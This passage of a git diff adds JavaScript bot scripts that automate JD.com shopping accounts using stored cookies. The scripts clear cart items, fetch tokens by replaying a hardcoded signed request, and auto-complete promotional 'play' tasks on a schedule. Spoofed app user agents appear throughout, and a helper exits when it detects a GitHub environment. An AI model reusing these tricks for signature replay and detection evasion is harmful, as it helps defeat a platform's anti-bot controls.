'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzkj-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzdz1-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=72124265217d48b7955781024d65bbc4&client=apple&clientVersion=9.4.0&st=1621796702000&sv=120&sign=14f7faa31356c74e9f4289972db4b988` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function requireConfig(){ + return new Promise(resolve => { + if($.isNode() && process.env.JD_CART){ + if(process.env.JD_CART_KEYWORDS){ + $.keywords = process.env.JD_CART_KEYWORDS.split('@') + } + } + resolve() + }) +} +function getCart_xh(){ + console.log('正在获取购物车数据...') + return new Promise((resolve) => { + const option = { + url: 'https://p.m.jd.com/cart/cart.action?fromnav=1&sceneval=2', + headers: { + "Cookie": cookie, + "User-Agent": "jdapp;JD4iPhone/167724 (iPhone; iOS 15.0; Scale/3.00)", + }, + } + $.get(option, async(err, resp, data) => { + try{ + data = JSON.parse(getSubstr(data, "window.cartData = ", "window._PFM_TIMING")); + $.areaId = data.areaId; // locationId的传值 + $.traceId = data.traceId; // traceid的传值 + venderCart = data.cart.venderCart; + postBody = 'pingouchannel=0&commlist='; + $.beforeRemove = data.cartJson.num + console.log(`获取到购物车数据 ${$.beforeRemove} 条`) + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} +function cartFilter_xh(cartData){ + console.log("正在整理数据...") + let pid; + $.pushed = 0 + for(let cartJson of cartData){ + if($.pushed === removeSize) break; + for(let sortedItem of cartJson.sortedItems){ + if($.pushed === removeSize) break; + pid = typeof (sortedItem.polyItem.promotion) !== "undefined" ? sortedItem.polyItem.promotion.pid : "" + for(let product of sortedItem.polyItem.products){ + if($.pushed === removeSize) break; + let mainSkuName = product.mainSku.name + $.isKeyword = false + $.isPush = true + for(let keyword of $.keywords){ + if(mainSkuName.indexOf(keyword) !== -1){ + $.keywordsNum += 1 + $.isPush = false + $.keyword = keyword; + break; + } else $.isPush = true + } + if($.isPush){ + let skuUuid = product.skuUuid; + let mainSkuId = product.mainSku.id + if(pid === "") postBody += `${mainSkuId},,1,${mainSkuId},1,,0,skuUuid:${skuUuid}@@useUuid:0$` + else postBody += `${mainSkuId},,1,${mainSkuId},11,${pid},0,skuUuid:${skuUuid}@@useUuid:0$` + $.pushed += 1; + } else { + console.log(`\n${mainSkuName}`) + console.log(`商品已被过滤,原因:包含关键字 ${$.keyword}`) + $.isKeyword = true + } + } + } + } + postBody += `&type=0&checked=0&locationid=${$.areaId}&templete=1®=1&scene=0&version=20190418&traceid=${$.traceId}&tabMenuType=1&sceneval=2` +} +function removeCart(){ + console.log('正在删除购物车数据...') + return new Promise((resolve) => { + const option = { + url: 'https://wq.jd.com/deal/mshopcart/rmvCmdy?sceneval=2&g_login_type=1&g_ty=ajax', + body: postBody, + headers: { + "Cookie": cookie, + "User-Agent": "jdapp;JD4iPhone/167724 (iPhone; iOS 15.0; Scale/3.00)", + "referer": "https://p.m.jd.com/", + "origin": "https://p.m.jd.com/" + }, + } + $.post(option, async(err, resp, data) => { + try{ + data = JSON.parse(data); + $.afterRemove = data.cartJson.num + if($.afterRemove < $.beforeRemove){ + console.log(`删除成功,当前购物车剩余数据 ${$.afterRemove} 条\n`) + $.beforeRemove = $.afterRemove + } else { + console.log('删除失败') + console.log(data.errMsg) + isRemoveAll = false; + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} +function getSubstr(str, leftStr, rightStr){ + let left = str.indexOf(leftStr); + let right = str.indexOf(rightStr, left); + if(left < 0 || right < left) return ''; + return str.substring(left + leftStr.length, right); +} +function getActivityIdList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_wyw.js b/jd_wyw.js new file mode 100644 index 0000000..21a2f72 --- /dev/null +++ b/jd_wyw.js @@ -0,0 +1,153 @@ +/* + +============Quantumultx=============== +[task_local] +#玩一玩成就 +0 8 * * * jd_wyw.js, tag=玩一玩成就, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_wyw.png, enabled=true + +================Loon============== +[Script] +cron "0 8 * * *" script-path=jd_wyw.js,tag=玩一玩成就 + +===============Surge================= +玩一玩成就 = type=cron,cronexp="0 8 * * *",wake-system=1,timeout=3600,script-path=jd_wyw.js + +============小火箭========= +玩一玩成就 = type=cron,script-path=jd_wyw.js, cronexpr="0 8 * * *", timeout=3600, enable=true +*/ +const $ = new Env('玩一玩成就'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +$.invitePinTaskList = [] + +message = "" +!(async () => { + $.user_agent = require('./USER_AGENTS').USER_AGENT + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + + + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await getPlayTaskCenter() + for (const playTaskCenterListElement of $.playTaskCenterList) { + $.log(`play ${playTaskCenterListElement.name} 获得成就值: ${playTaskCenterListElement.achieve}`) + await doPlayAction(playTaskCenterListElement.playId) + } + + + + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + + + +function getPlayTaskCenter() { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"client":"app"}&client=wh5&clientVersion=1.0.0`,`playTaskCenter`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.playTaskCenterList = data.data + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doPlayAction(playId) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"client":"app","playId":"${playId}","type":"1"}&client=wh5&clientVersion=1.0.0`,`playAction`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + debugger + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + + +function taskPostClientActionUrl(body,functionId) { + return { + url: `https://api.m.jd.com/client.action?${functionId?`functionId=${functionId}`:``}`, + body: body, + headers: { + 'User-Agent':$.user_agent, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Origin':'https://api.m.jd.com', + 'Referer':'https://funearth.m.jd.com/babelDiy/Zeus/3BB1rymVZUo4XmicATEUSDUgHZND/index.html?source=6&lng=113.388032&lat=22.510956&sid=f9dd95649c5d4f0c0d31876c606b6cew&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return 